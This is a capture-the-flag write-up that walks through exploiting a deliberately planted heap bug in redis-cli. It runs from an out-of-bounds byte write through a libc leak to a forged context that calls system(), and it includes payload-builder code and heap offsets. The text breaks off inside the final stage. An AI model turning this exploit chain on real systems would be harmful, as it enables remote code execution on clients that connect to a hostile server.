COMPFEST 2026 — PWNABLE WRITEUP
Hi guys, it’s me again, Vxmp from “GrimSec Ops”. In this event, I have solved 4 Binary Exploitation challenges, one being a 0-day vulnerability!
Let’s take a deep dive through each challenge, shall we?
Problem list (4)
- redis-cli 0-day
- menfess
- 未来日記
- matrix
redis-cli 0-day
I was the 20th person to solve this challenge
ADDITIONALLY, This challenge has two solutions (wait, what?)
First solution (by me):
Initial reconnaissance
We are given a zip file named ‘redis-ctf.zip’, after unzipping, we will see 5 files extracted.
$ unzip redis-ctf.zip
inflating: Dockerfile
inflating: README.txt
inflating: entrypoint.sh
inflating: redis-cli
inflating: run.shredis-cli is the target binary here
After running file:
$ file redis-cli
redis-cli: ELF 64-bit LSB pie executable, x86-64, dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=ba8766909c36e2cf0841b7a817d90bcb76b78b1b,
for GNU/Linux 3.2.0, with debug_info, not strippedwith debug_info, not stripped is an absolute gift from the gods 🙏
Full DWARF means gdb gives me struct layouts and source line numbers for free
$ checksec --file=redis-cli
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: YesFrom this checksec results, we see that everything is on 😭
- RELRO enabled = GOT (Global Offset Table) is read-only
- PIE+ASLR = No fixed address
- Shadow Stack (SHSTK) & IBT enabled = atleast no weird stuff like ret2–67 techniques or whatever
$ cat README.txt
This version of redis-cli was compiled with MALLOC=libc, as the default jemalloc
setting prevented the bug from being exploited.
Because I'd rather not have you find an actual 0 day to exploit this, the bug is in
**clusterManagerNodeLoadInfo**. I don't think this bug is exploitable on default
builds, but if you manage to do so dm me (zafirr) on discord cause I want to know
how you did it.Holy hint!!!
- Bug is in **clusterManagerNodeLoadInfo** , we don’t need to hunt for bugs!
- **MALLOC=libc** — Redis normally bundles jemalloc and in this case the challenge author swapped it for glibc malloc so the bug is exploitable. In this case, we are pretty sure that the challenge is probably about glibc heap metadata and relies on glibc’s deterministic chunk layout
run.sh file:
$ cat run.sh
#!/bin/sh
HOST=127.0.0.1
PORT=6379
printf "Enter host address: "
read HOST
printf "Enter port number: "
read PORT
./redis-cli --user compfest --pass redis_cli_0_day_wow! --cluster info $HOST $PORT \
< /dev/null > /dev/null 2>&1again, we see 3 things
- we supply the host and port input
- > /dev/null 2>&1 discards stdout and stderr — whatever it prints we never see and the only channel back to us is the TCP socket it opens to our server
- $HOST $PORT are unquoted, which means we could inject extra words into the argv
Dockerfile:
FROM ubuntu@sha256:678c6550cc43645e08669028bc177f50be4e7c5b8cca677067b1914d4afc7a03
RUN apt-get install -y --no-install-recommends socat
RUN useradd --create-home --shell /bin/bash ctf
...
EXPOSE 1337Hm, they use a base image.. let’s see what version of glibc and ubuntu 🙏
$ docker run --rm ubuntu@sha256:678c... sh -c "cat /etc/os-release|head -3; ldd --version|head -1"
PRETTY_NAME="Ubuntu 26.04 LTS"
ldd (Ubuntu GLIBC 2.43-2ubuntu2) 2.43glibc 2.43?? thats modern as hell 💀
Why? tcache with safe-linking (
PROTECT_PTR), tcache keys for double-free protection,_int_freerestructured
What does this mean? It implies that we have to carefully pick the technique for the exploitation method otherwise our solve script is gonna get cooked ☠️
Also, the docker image already has socat installed. If I get code execution, socat would probably be the exfil tool
entrypoint.sh file:
FLAG_PATH=/home/ctf/flag.txt
if [ ! -r "$FLAG_PATH" ]; then ... exit 1; fi
exec socat TCP-LISTEN:1337,reuseaddr,fork EXEC:"./run.sh",su=ctfASLR is rerolled everytime because of that one single cmd, fork 💀
So any leak must be used in one connection, no cross-connection bruteforcing
The entire threat model is literally inverted (what??? 💀)
Normally, you send bytes into the server. In this case, redis-cli acts as the client and we are the server. We control:
- every byte of every reply
- the size of those replies
- the timing/chunk of every reply
- how many nodes the cluster claims to have, hence how many times redis-cli connects back to me
- (via unquoted
$HOST) extra argv obviously
And what do I get? nothing on stdout/stderr, only what redis-cli sends me on the wire💀
So the leak has to come out of a redis command, which means it has to come out of this, in hiredis/net.c :
ssize_t redisNetWrite(redisContext *c) {
ssize_t nwritten = send(c->fd, c->obuf, hi_sdslen(c->obuf), 0);
...
}hi_sdslen(c->obuf). If wecan make that number bigger than the real command, send() walks off the end of the output buffer and hands me the adjacent heap
That single observation is the spine of the entire exploit — but it took a long
detour to get a usable version of it though 😂
Finding the bug!!!
Let’s take a deep dive into redis-cli source code.
After a bit of enumeration, we discovered that the redis-cli version was 8.10.0, so I decided to just grab it’s entire source code from github.
curl -sL -o redis-cli.c https://raw.githubusercontent.com/redis/redis/8.10.0/src/redis-cli.cclusterManagerNodeLoadInfo sends CLUSTER NODES and parses the reply line by line
Each line is name addr flags master_id ping_sent ping_recv config_epoch link_state slots…
For the line flagged myself, the trailing slot definitions get parsed:
if (i == 8) {
int remaining = strlen(line);
while (remaining > 0) {
p = strchr(line, ' ');
if (p == NULL) p = line + remaining;
remaining -= (p - line);
char *slotsdef = line;
*p = '\0';
...
if (slotsdef[0] == '[') {
/* [slot->-node] migrating / [slot-<-node] importing */
} else if ((dash = strchr(slotsdef, '-')) != NULL) {
p = dash;
int start, stop;
*p = '\0';
start = atoi(slotsdef);
stop = atoi(p + 1);
node->slots_count += (stop - (start - 1));
while (start <= stop) node->slots[start++] = 1; /* <-- (1) */
} else if (p > slotsdef) {
node->slots[atoi(slotsdef)] = 1; /* <-- (2) */
node->slots_count++;
}
}
}Both (1) and (2)index node->slots with a value straight out of atoi() on my data. No range check anywhere!!! 🎉
Let’s use gdb (GNU debugger) to get it’s entire struct from DWARF:
$ gdb -batch -ex "ptype /o struct clusterManagerNode" redis-cli
/* offset | size */ type = struct clusterManagerNode {
/* 0 | 8 */ redisContext *context;
/* 8 | 8 */ hisds name;
/* 16 | 8 */ char *ip;
/* 24 | 4 */ int port;
/* 28 | 4 */ int bus_port;
/* 32 | 8 */ uint64_t current_epoch;
/* 40 | 8 */ time_t ping_sent;
/* 48 | 8 */ time_t ping_recv;
/* 56 | 4 */ int flags;
/* XXX 4-byte hole */
/* 64 | 8 */ list *flags_str;
/* 72 | 8 */ hisds replicate;
/* 80 | 4 */ int dirty;
/* 84 | 16384 */ uint8_t slots[16384];
/* 16468 | 4 */ int slots_count;
/* 16472 | 4 */ int replicas_count;
/* XXX 4-byte hole */
/* 16480 | 8 */ list *friends;
/* 16488 | 8 */ hisds *migrating;
/* 16496 | 8 */ hisds *importing;
/* 16504 | 4 */ int migrating_count;
/* 16508 | 4 */ int importing_count;
/* 16512 | 4 */ float weight;
/* 16516 | 4 */ int balance;
/* 16520 | 8 */ hisds server_version;
/* total size (bytes): 16528 */cool, we see slots at +84 in a 16528-byte heap object
two important property of the primitive that matters later on.. :
atoireturnsintglibc implements this as (int)strtol(…)strtolhappily parses4294811132into alongand the cast truncates to0xFFFFFFFA...- a negative index — so wecan write below the struct too, not just above. Though we cannot just write -6 as a token because
strchr(slotsdef,'-')would see the minus and take the range branch instead. Encoding it as2**32+idxsidesteps it entirely - the only value ever written is
1. not a pointer. not a length. just one byte, value 0x01💀at an index we choose. That constraint shapes the next 20hours of my solve progress 🙏
So, write 0x01 at node->slots+idx , idx ∈ [-2³¹,2³¹) i.e. anywhere in a +- 2gb window around the node. Range write gives us contiguous runs of 0x01
Ok, let’s try to write a 40-line fake redis server that answers AUTH/INFO/CLUSTER NODES/DBSIZE and make the CLUSTER NODES reply claim a slot index of 999999999:
aaaa...aaaa 127.0.0.1:7777@17777 myself,master - 0 0 1 connected 999999999$ ./redis-cli --user compfest --pass redis_cli_0_day_wow! --cluster info 127.0.0.1 7778
Segmentation fault (core dumped)Pretty much confirmed this bug in 10 minutes, everything after this will be pure exploitation now!! 🙏
Three things I wanted before writing a single exploit byte are:
(A) Exact target libc: I decided to pull the pinned image and copied its loader and libc out:
docker create --name ex1 ubuntu@sha256:678c...
docker cp ex1:/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6
docker cp ex1:/lib64/ld-linux-x86-64.so.2 ./ld.so(B) A locally debuggable binary using that exact libc: The current host I’m on is Ubuntu 24.04 / glibc 2.39 but the target is 2.43.. Which means: Different malloc = different layout = worthless. Patchelf comes into use and it fixes the entire issue for us!!
cp redis-cli redis-cli-l
patchelf --set-interpreter $PWD/ld.so --set-rpath $PWD redis-cli-l$ ldd ./redis-cli-l
libc.so.6 => /home/ubuntu/redisCLI-ctf/work/libc.so.6Now gdb ./redis-cli-l debugs against the target’s allocator with full symbols
( C ) — a scriptable malicious server
I also built a set of gdb probes that dump at any breakpoint:
- the heap base and every chunk (
addr,size, first 24 bytes, ASCII) - for every
clusterManagerNode:node , ctx,readerreader->buf, it’s sds type/len/alloc,obuf , obuf‘s chunk - every 8-byte value in a region classified as PIE/LIBC/HEAP/STACK by cross-referencing
info proc mappings
That last one is what eventually found the libc pointer. This is why building good instrumentation early paid for itself five times over (literally 🙏 😭)
The entire primitive, precisely(?)
Everything is relative to node->slots , i.e. node+84 . A slot token N writes 0x01 at node+84+(int)N
Reachable & interesting stuff:
| target | slot index | note |
|----------------------------------|-----------------|----------------------------------------|
| `node->context` | −84 | pointer, but i can only set bytes to 1 |
| `node->name` | −76 | ditto |
| `node->flags` | −28 | int |
| `node->slots_count` | +16384 | int |
| `node->friends` | +16396 | `list*` |
| `node->migrating` / `importing` | +16404 / +16412 | `hisds*` |
| the node's own malloc chunk size | −92 .. −85 | classic |
| **anything else in the heap** | ±2 GB | ← the real primitive |The thing that isn’t reachable is libc. The heap sits at 0x55... and libc at 0x7f... , about 2.9TB apart. int indexing caps us at +- 2GB so no direct writes to libc data, ever 🙏
Reachable but randomized: the binary’s .data / .bss sit a few MB below the heap, but the gap is brk randomization (up to 32MB, ~8192 possible values). So I decided to sketch a crash oracle to just binary-search that entire gap — probe an address, and if the process survives, the next friend node connects back and tells me so; 13 probes and I’d know the heap<->PIE delta. I never needed it, but its kinda a nice trick for this challenge shape:
The friend list gives you an in-process boolean oracle with unlimited queries.
The literal leak problem and dead ends I’ve encountered
Apparently, I needed hi_stslen(c->obuf) to be large before a command is sent. Here is everything I’ve tried and why it failed.
hisds (hiredis’ vendored sds) headers, packed, header sits immediately before the data pointer:
| type | flags | header | len field | max len |
|------|-------|--------|--------------------------------|---------|
| 5 | 0 | 1 B | in the flags byte (`flags>>3`) | 31 |
| 8 | 1 | 3 B | `uint8` at `s[-3]` | 255 |
| 16 | 2 | 5 B | `uint16` at `s[-5]` | 65535 |
| 32 | 3 | 9 B | `uint32` at `s[-9]` | 4 G |
| 64 | 4 | 17 B | `uint64` at `s[-17]` | huge |Dead end 1
c>obuf at rest is hi_sdsempty() , which hiredis deliberately makes type 8 (not type 5) since type 5 isnt good at appending. So len is a uint8 at 0buf[-3] , which is the first byte of the chunk’s user data — perfectly writable in the primitive.
Though, I could only write the value 1. curlen=1 leaks one byte. And hi-sdscatlen immediately overwrites len with the real length anyway. = useless 💀
Dead end 2
Apparently, I can set the low byte of the c->obuf pointer to 0x01 , moving it to T = (obuf & ~0xff) | 1 . Since the heap layout is deterministic and the heap base is page-aligned, T is a known heap offset. If controlled data sits at T, I forge a header with a huge len and send() dumps memory.
There are three problems, and they had to be solved simultaneously:
Tmust contain attacker-controlled data. Empirically, across dozens of configurations,Tsomehow always landed in hiredis internals (theredisReadTaskarray, the resolver’s cached buffer, a freed tcache chunk) but never in my payload (FAHHHH 🙏)- The sds flags byte must encode a big type. Type 64 needs
flags=4. I can only write0x01. So unless the byte atT-1is already a good value from my own data, I’m stuck on type 8 (flags=8) ,capped at 255. - The free alignment trap: After a successful
write(), hiredis doeshi_sdsfree(c->obuf)→free(s — hdrlen). T=1(mod16)always (its..00|1). Sofree(T — hdrlen)is 16-byte-aligned only forhdrlen ∈ {1, 17}— type5 (len ≤ 31 which is useless) or type 64 (needs flags=4 which I cannot write either). Type 8/16/32 all give a misaligned pointer and glibc kills the process withfree(): invalid pointerbefore I can use the leak
These traps is worth stating as a rule: on glibc, a fake free() must be 16-byte-aligned and that alone rules out three of the five sds types here.
Dead end 3
The AUTH command bytes (which I fully control via the unquoted $HOST argv injection) live in a freed obuf in the low heap.
The question is:
Could
Tland there?
Apparently.. Sometimes yes — but a forged chunk header needs a plausible small size like 0x91 , which contains NUL bytes, and a C-string argv cannot carry NULs. Only the binary-safe buffers (the reader buffer, reply->str) can hold a forged chunk header. This is a dead end for me, but at least it taught me that which buffers are binary-safe which mattered a lot later!!
Dead end 4
clusterManagerLoadInfoFromNode connects to each friend at ip:port . If I could get leaked bytes into freind->port , redis-cli would dial attacker:<leaked 16bits> and each connection would leak 16 bits. Kinda cute, and within one process it would even work (ASLR is fixed per connection, and I get many friends) but port is set from my own atoi and getting uncontrolled memory into it needs chunk overlap, which needs a leak. Really circular, I guess.. 💀
Dead end 5
Overwrite the NUL terminator of friend->ip so getaddrinfo() reads past the end and resolves <garbage>.attacker.com . Heap bytes aren’t valid DNS labels, glibc rejects most of them before querying, and container egress DNS isn’t guaranteed. This idea will just get completely dropped by me, obviously.
Dead end 6
Could I get RCE with only relative corruption?
To call anything I need a code address. The heap contains exactly two kinds of code-adjacent pointers — redisContext.funcs and redisReader.fn — and both point to tables in .data.rel.ro, not to the code. In this binary, we have full RELRO which makes that specific region read-only, and pointing funcs into the GOT would give me libc functions without knowing libc — genuinely promising — but it still needs PIE , and PIE never showed up in any leak window I could reach. Again, this idea is DROPPED.
At this point I only had a beautiful arbitary-0x01 write and no way to read a single byte. That was a very awesome progress, isn’t it?
The absolute godly breakthrough!!
After reading the source code, I discovered that..
In redisReaderFeed :
int redisReaderFeed(redisReader *r, const char *buf, size_t len) {
if (r->err) return REDIS_ERR;
if (buf != NULL && len >= 1) {
/* Destroy internal buffer when it is empty and is quite large. */
if (r->len == 0 && r->maxbuf != 0 && hi_sdsavail(r->buf) > r->maxbuf) {
hi_sdsfree(r->buf);
r->buf = hi_sdsempty();
r->pos = 0;
}
newbuf = hi_sdscatlen(r->buf, buf, len); /* <-- */
r->buf = newbuf;
r->len = hi_sdslen(r->buf);
}
return REDIS_OK;
}and at the bottom of hi_sdsMakeRoomFor :
hisds hi_sdsMakeRoomFor(hisds s, size_t addlen) {
size_t avail = hi_sdsavail(s);
if (avail >= addlen) return s; /* no realloc, no move */
...
}
static inline size_t hi_sdsavail(const hisds s) {
...
case HI_SDS_TYPE_32: { HI_SDS_HDR_VAR(32,s); return sh->alloc - sh->len; }
}alloc and len are uint32_t . If len > alloc , alloc — len wraps to ~4GB. Then avail >= addlen is always true, hi_sdsMakeRoomFor returns the buffer untouched, and hi_sdscatlen does:
memcpy(s + curlen, t, len); /* curlen = the corrupted length */memcpy(reader_buf + 65792, <bytes I just sent>, n) . The reply body I send is copied to a fixed heap address far outside the buffer. That is an arbitrary-content write, built entirely out of 0x01 bytes.
Three slots writes should set it up, all inside node A’s redisReader:
| field | address | write | result |
|-----------------------------|--------------|--------|-----------------------------------------------------------|
| `r->buf` hisds `len` byte 1 | `rbuf-8` | `0x01` | |
| `r->buf` hisds `len` byte 2 | `rbuf-7` | `0x01` | `len = 0x010100 = 65792 > alloc = 65536` |
| `r->len` | `reader+152` | `0x01` | non-zero ⇒ the "destroy internal buffer" reset is skipped |
| `r->pos` byte 1 | `reader+145` | `0x01` | `pos = 256` |Why r->len matters? With len>alloc, hi_sdsavail() underflows, so hi_sdsavail(r->buf) > r->maxbuf (16kb) is true, and if r->len == 0 hiredis would free my buffer and start fresh — destroying the corruption before using it. Making r->len non-zero skips that branch. One byte and the whole technique either lives or dies on it 💀 💀
Why r->pos matter? The fed bytes land 64kb away, so the parser at r->buf + r->pos never sees them. It reads stale buffer content, which is my own earlier payload. So I decided to plant a valid :0\r\n at buffer offset 256 and point pos there. DBSIZE returns integer 0, clusterManagerShowClusterInfo is happy and the iteration continues, yay 🎉
Note the constraint that shaped the rest of the exploit: because every byte I write is 0x01, the corrupted length can only be a value made of 0x00/0x01 bytes — {1,0x101,0x10000,0x10001,0x10100,0x10101,0x1000000,...} . The write destination is quantized. 💀 💀
First attempt fail: redisGetReplyFromReader runs first
After I implemented my idea:
after A DBSIZE: mem at rbuf+0x10100: 5858585858...3a300d00636363...
r->len=0x1 r->pos=0x104 reply type 3 integer 0r->pos advanced by 4 (it parsed my planted :0\r\n) butr->len was still 1 — the feed never happened, and my Z’s were nowhere. The 64 bytes at the target were old payload, not my blob yay
Reading redisGetReply explains why:
int redisGetReply(redisContext *c, void **reply) {
/* Try to read pending replies */
if (redisGetReplyFromReader(c,&aux) == REDIS_ERR) return REDIS_ERR; /* <-- first! */
if (aux == NULL && c->flags & REDIS_BLOCK) {
do { redisBufferWrite(c,&wdone); } while (!wdone); /* only if nothing parsed */
do { redisBufferRead(c); ... } while (aux == NULL);
}It parses before writing. My planted :0\r\n was a complete reply, so hiredis returned it immediately and never sent DBSIZE and never read anything..
The fix is a one-byte change in intent: make the first parse incomplete so the write and read still happen, and let it complete only after the feed. Set r->len == r->pos == 256 then r->len — r->pos == 0 , seekNewline() gets a zero-length window and returns NULL, the parse yields nothing, DBSIZE goes out, my reply comes in (feed → OOB write), r->len becomes huge, and the second parse finds :0\r\n at offset 256 and succeeds.
r->len = 0x0100 is written by setting byte 1 (reader+153) instead of byte 0
Arbitary write.. CONFIRMED
after A DBSIZE: mem at rbuf+0x10100 (heap+0x18ca9):
5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a...
r->len=0x10140 r->pos=0x104
reply type 3 integer 064 bites of Z at a chosen heap address, the reply still parsed as integer 0, the process alive and continuing to the next node. Arbitrary-content heap write, built from a primitive that can only write the byte 0x01.
Ok now, where does the write land??
dest = reader_buf + corrupted_len and corrupted_len is quantized to those 0x00/0x01 byte values. With a 64kb reader buffer ( alloc=0x10000 ) the only usable value is 0x010100=65792 so:
dest is always ~256 bytes past the end of the read buffer
Which is a problem, because a 64kb buffer is allocated near the top of the heap, and everything I want to corrupt — redisContext, clusterManagerNode stuff lives below it. memcpy only goes forward, sadly.
This made me spent quite a long time. Things I measured and used:
- Whats actually at
dest: With node A’s buffer atheap+0x8ba9,dest=heap+0x18ca9, which is inside the freedCLUSTER NODESreply->str— dead memory, useless on its own, but it’s the region the friend connections carve their allocations from!! freeReplyObjectfrees a ~40kb chunk, and the friend’sredisContextreaders, tasks arrays andobuf‘s get carved out of it in a deterministic order.
So the plan became: aim dest at the obuf chunk of a specific friend node and forge its sds header there, turning that node’s next DBSIZE into a leak.
The alignment math calc:
- The
obufchunk is 16byte aligned;obuf = chunk + 0x13(0x10 chunk header + 3-byte type-8 sds header) - I need to write
chunk+0x18(size field, keep it0x21) andchunk+0x10...0x12(len,alloc,flags) dest = 9 (mod16)for a type-32 reader buffer (hdrlen 9, chunk-aligned base).- So
dest = obuf_chunk — 7lands 7 bytes into the previous chunk’s tail and lets a 26-byte-blob cover: 7 junk bytes, 8 bytes ofprev_size(unused), 8 bytes ofsize=0x21, thenlen/alloc/flags.
That 26-byte-blob is stage 1:
def blob1():
b = bytearray(26)
struct.pack_into('<Q', b, 15, 0x21) # obuf chunk size, restored exactly
b[23] = 0xEF # sds len = 239
b[24] = 0xFF # sds alloc = 255
b[25] = 0x01 # sds flags = type 8
return bytes(b)len=239 , alloc=255 gives avail=16 , exactly the size of *1\r\n$6\r\nDBSIZE\r\n . So hi_sdscatlen does not realloc (which would move the buffer and reset the length), the command lands at obuf+239 , the length becomes 255, and send() emits 239 bytes of heap followed by the real command. And because hdrlen=3 and obuf-3 is the chunk’s data pointer, the subsequent hi_sdsfree(c->obuf) is a legitimate free — process survives!! That’s why 239 and it’s not 255.
Why not a bigger leak??
Type 8 caps len at 255. Type 16/32 would need the header at obuf-5 / obuf-9 , i.e. inside the chunk’s size field, and then hi_sdsfree frees a misaligned pointer and glibc aborts. 239 bytes it is.
Medium Buffer Trick
Aiming stage 2 was harder, because after the leak I need to write pointers into a live structure, and those all live low in the heap.
The insight: the quantization depends on the buffer’s sds type. For a type 16 buffer ( alloc<65536 ), len is a uint16 at rbuf-5..4 . If I arrange alloc == len == A where Ais a multiple of 256, then setting byte 0 of len to 0x01 gives len = (A & 0xff00) | 1 = A + 1 > A . Underflow achieved with a single byte write and:
dest = rbuf + A + 1 = (end of this chunk) + 6 = (next chunk's data) - 10A small buffer is allocated in the low heap, right where the friend contexts are. So a medium node’s OOB write lands 10 bytes before the next chunk’s data — and in practice that next chunk is the next friend’s redisContext.
Getting alloc == len exactly is where the paced server earns its keep. hiredis grows the reader buffer as newlen = (len+addlen)*2 whenever avail<addlen and ``one read() = one feed. If we can control the exact size of every chunk we send, then we could control the entire realloc history — therefore the final alloc and therefore the whole heap layout!
For this, I wrote a small simulator of hiredis’ sds growth ( sdssim.py ) so I could solve for a schedule offline instead of guessing the entire thing myself:
class SDS:
def catlen(self, n):
if self.alloc - self.len < n:
newlen = self.len + n
newlen = newlen*2 if newlen < 1024*1024 else newlen + 1024*1024
t = reqtype(newlen); self.type = 8 if t == 5 else t
self.alloc = newlen
self.len += nNode A’s schedule: derived from it:
| phase | chunks sent | buffer state after |
|-------------------------|-----------------------------|---------------------------------------------------------------------------------|
| AUTH reply | `[5]` | `len=5, alloc=10` |
| INFO reply (16379 B) | `[8187, 8192]` | `alloc=16384`; reply consumed, `pos ≥ 1024` ⇒ `sdsrange` trims ⇒ `len=0, pos=0` |
| CLUSTER NODES (40960 B) | `[8192, 8192, 16384, 8192]` | growth at `len+addlen = 32768` ⇒ **`alloc = 65536`, type 32** |and for a medium node ( alloc = 512 ):
def plan_M(alloc): # alloc multiple of 256, < 1024
c1 = alloc//2 - 5 # AUTH already put 5 bytes in
c2 = alloc - (5 + c1)
return {'auth':[5], 'nodes':[c1, c2]}, c1 + c2 # -> [251, 256], wire = 507<1024 matters because the trim in redisReaderGetReply only fires at r->pos >= 1024, so staying under it keeps len accumulated at exactly alloc , which is what makes the +1 trick work!
The pacing also has to survive the networking issue, which I’ll explain it later.
Getting libc into leak window
Now the hard question, what is actually in those 239 bytes?
I extended the probe to classify every qword in each node’s window as PIE/LIBC/HEAP by cross-referencing info proc mappings:
node ctx=0x4150 obuf=0x49b3 : {'HEAP': [(37,'0x5ce0'), (45,'0x4271')]}
node ctx=0x57e0 obuf=0x5ca3 : {'HEAP': [(29,'0x57c0'), (37,'0x63f0'), (45,'0x22bc0')]}
...
node ctx=0x1a900 obuf=0x1ad23 : {'HEAP': [...], 'LIBC': [(125,'0x7ffff7e12ac8'),
(133,'0x7ffff7e12ac8')]}Only the last node’s window contains libc pointers. Every other node’s window is heap pointers and freed-chunk noise.
The reason is structural and, once seen, obvious..
The friend connections carve allocation sout of the big freed reply->str. glibc’s last remainder chunk sits in the unsorted bin with fd = bk = &main_arena.bins[...] and that head address moves up every time another allocation is carved. So the remainder head — the only main_arena pointer in the neihgbourhood always end up just past the last node’s allocations. Any earlier node’s windows has had its libc pointers overwritten by the next node’s structures.
And no window anywhere contained a PIE pointer: ctx->funcs sits at ctxx+0 but obuf is allocated after the context and after the reader and the task array so the leak (which reads forward from the obuf never covers a funcs field. That killed the GOT_indirection idea from dead end 6 for good — and made it a hard requirement that libc must come out of stage 1, because with libc I wouldn’t need PIE at all (I build a fake redisContext from scratch; never had to preserve a real funcs hahahah)
So the requirement crystallized into one nasty simultaneous condition:
The node whose
obufI corrupt in stage 1 must be the last node, anddest1 = A_rbuf + 0x10100must land exactly on that node’sobufchunk − 7
dest1 is fixed by node A’s buffer position. The last node’s obuf position depends on how much of the heap the earlier friends consumed. These two numbers had to be made equal.
Heap layout sweep
Knobs available, each shifting the layout by a different amount:
NFRIENDS— number of friend lines in node A’s reply (each adds a 0x40a0 node struct and one connect-back);- which friends get a “medium” (512-byte read buffer) reply vs a pain one — each medium friend consumes ~0x110 more low-heap;
PLAINPAD— bytes of padding on the plain friends’ replies, which changes their reader-bufferallocin finer steps!- node A’s
CLUSTER NODESwire size; - (and, during research, the argv-injected AUTH string length, which moves the whole early heap).
I scripted the search: for each configuration, run under gdb, break at clusterManagerShowClusterInfo and report dest1 , every node’s obuf chunk, and whether each node’s window contains libc.
Coarse pass — number of medium friends k with 8 friends:
k=1 lastobuf=0x18bd0 libc=True shift=-224
k=2 lastobuf=0x18cf0 libc=True shift= +64
k=3 lastobuf=0x18eb0 libc=True shift=+512
k=4 lastobuf=0x18fd0 libc=True shift=+800Straddling zero between k=1 and k=2 . Fine pass on PLAINPAD with k=1:
pad=2 lastobuf=0x18c30 shift=-128
pad=4 lastobuf=0x18bd0 shift=-224
pad=10 lastobuf=0x18c30 shift=-128
pad=16 lastobuf=0x18c30 shift=-128
pad=18 lastobuf=0x18cb0 shift= 0 <-- NFRIENDS=8, one medium friend (#1) , PLAINPAD=18 , dest1+7 is exactly node 8’s obuf chunk, node 8 is the last node, and its window has main_arena at offsets 125 and 133
The final layout, from the chunk map:
heap+0x18cb0 sz=0x20 000001005055... <- node8 obuf chunk (len/alloc/flags)
heap+0x18cd0 sz=0x20 d82ae1f7ff7f0000 ... <- main_arena pointers (LIBC)
heap+0x18cf0 sz=0x20 7045775555550000 ... <- listNode {prev,next,value=node8}
heap+0x18e60 sz=0x210 ...+OK..$499..zzzz <- node8 reader buf (alloc 512, type16)
heap+0x19070 sz=0x9b40 c82ae1f7ff7f0000 ... <- the big free remainder chunk
heap+0x22bb0 sz=0x40a0 ... <- node1's clusterManagerNodeand the derived constants:
A_RBUF = 0x8ba9 DEST1 = A_RBUF + 0x10100 = 0x18ca9
N8_OBUF = 0x18cc3 N8_OBUF_CHUNK = 0x18cb0 (= DEST1 + 7)
N8_RBUF = 0x18e75 DEST2 = N8_RBUF + 0x200 + 1 = 0x19076
NODE1 = 0x22bc0Node 8’s slot tokens have to each backwards to its own reader (at heap+0x8920 , far below its node struct at heap+0x3f020), hence the negative-index encoding:
def neg(i): return i if i >= 0 else (1<<32) + i
N8_SLOTS = [neg(N8_RBUF-5 - 0x3f074), # 4294811132 -> hisds len byte 0
neg(N8_READER+145 - 0x3f074), # 4294744381 -> r->pos byte 1
neg(N8_READER+153 - 0x3f074)] # 4294744389 -> r->len byte 1All slot tokens are zero-padded to 10 digits so the payload length, and therefore the whole layout is independent of those values.
Constant harvesting
freechunk_size heap+0x19078 = 0x9b41
freechunk_fd heap+0x19080 = libc+0x212ac8
freechunk_bk heap+0x19088 = libc+0x212ac8
node1_prevsize heap+0x22bb0 = 0x9b40
node1_size heap+0x22bb8 = 0x40a0
node1_context heap+0x22bc0 = heap+0x53e0
leak[77] = heap+0x3f020 (node8's own struct -> heap base)
leak[125]/[133] = libc+0x212ac8 (main_arena -> libc base)$ readelf --dyn-syms libc.so.6 | grep -w system
1064: 000000000005c560 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5One issue that cost me a literal debugging cycle: under gdb the leak offsets differ. In gdb the libc pointer showed at offsets 29/37; in a real run it was at 125/133 (gdb’s disabled ASLR and slightly different environment change which free chunk holds the remainder head). Offsets 125/133 are the ones that hold in production. Lesson here is that, you should validate leak offsets outside the debugger before trusting them 😔
Stage 1 & 2 exploitation
Command sequence per connection, confirmed by breaking on redisCommand:
conn 0 (node A): AUTH -> INFO -> CLUSTER NODES -> ... -> DBSIZE
conn 1..8 (friends): AUTH -> CLUSTER NODES -> ... -> DBSIZEclusterManagerShowClusterInfo issues the DBSIZEs in list order — A then friends 1..8 — which is what gives me two ordered write windows.
Stage 1 — node A’s DBSIZE reply is the 26-byte blob1() . Fed via the corrupted reader, it lands at heap+0x18ca9 and forges node 8’s obuf header.
Leak — node 8’s DBSIZE therefore transmits 239 bytes of heap before the command. My server parses commands out of a raw byte stream precisely so it can pick up the garbage prefix:
[8] LEAK 239 bytes
[8] libc=0x7c32e29f2000 heap=0x58658351f000 system=0x7c32e2a4e560Stage 2 — node 8’s own reader was corrupted by its own slot tokens, so its DBSIZE reply is a 39 762-byte blob written at heap+0x19076 , spanning the free remainder chunk all the way to node1->context :
def blob2(heap, libc):
n = (NODE1 + 8) - DEST2 # 39762
b = bytearray(n)
# 1. keep the free chunk's header valid (glibc will walk it again)
put(FREECHUNK+8, q(FREE_SIZE)) # 0x9b41
put(FREECHUNK+16, q(libc+LIBC_UNSORTED)) # fd -> main_arena
put(FREECHUNK+24, q(libc+LIBC_UNSORTED)) # bk -> main_arena
# 2. a complete fake redisContext, safe for redisFree()
ctx = bytearray(272)
struct.pack_into('<Q', ctx, 0, heap+FAKEFUNCS) # funcs
struct.pack_into('<i', ctx, 140, -1) # fd = REDIS_INVALID_FD
struct.pack_into('<Q', ctx, 256, heap+CMDSTR) # privctx = the command
put(FAKECTX-8, q(0x121)) # size for the final hi_free(c)
put(FAKECTX, bytes(ctx))
# 3. fake redisContextFuncs: close = NULL, free_privctx = system
fn = bytearray(48)
struct.pack_into('<Q', fn, 8, libc+LIBC_SYSTEM)
put(FAKEFUNCS, bytes(fn))
put(CMDSTR, cmd + b'\0')
# 4. restore node1's chunk header, then hijack node1->context
put(NODE1_CHUNK, q(NODE1_PREVSZ))
put(NODE1_CHUNK+8, q(NODE1_SIZE))
put(NODE1, q(heap+FAKECTX))
return bytes(b)Every field of the fake context is chosen again redisFree:
void redisFree(redisContext *c) {
if (c->funcs && c->funcs->close) c->funcs->close(c); /* close = NULL -> skipped */
hi_sdsfree(c->obuf); /* NULL -> returns */
redisReaderFree(c->reader); /* NULL -> returns */
hi_free(c->tcp.host); /* NULL x5 */
...
if (c->privdata && c->free_privdata) ... /* both NULL -> skipped */
if (c->funcs && c->funcs->free_privctx)
c->funcs->free_privctx(c->privctx); /* system(cmd) <-- */
memset(c, 0xff, sizeof(*c));
hi_free(c);
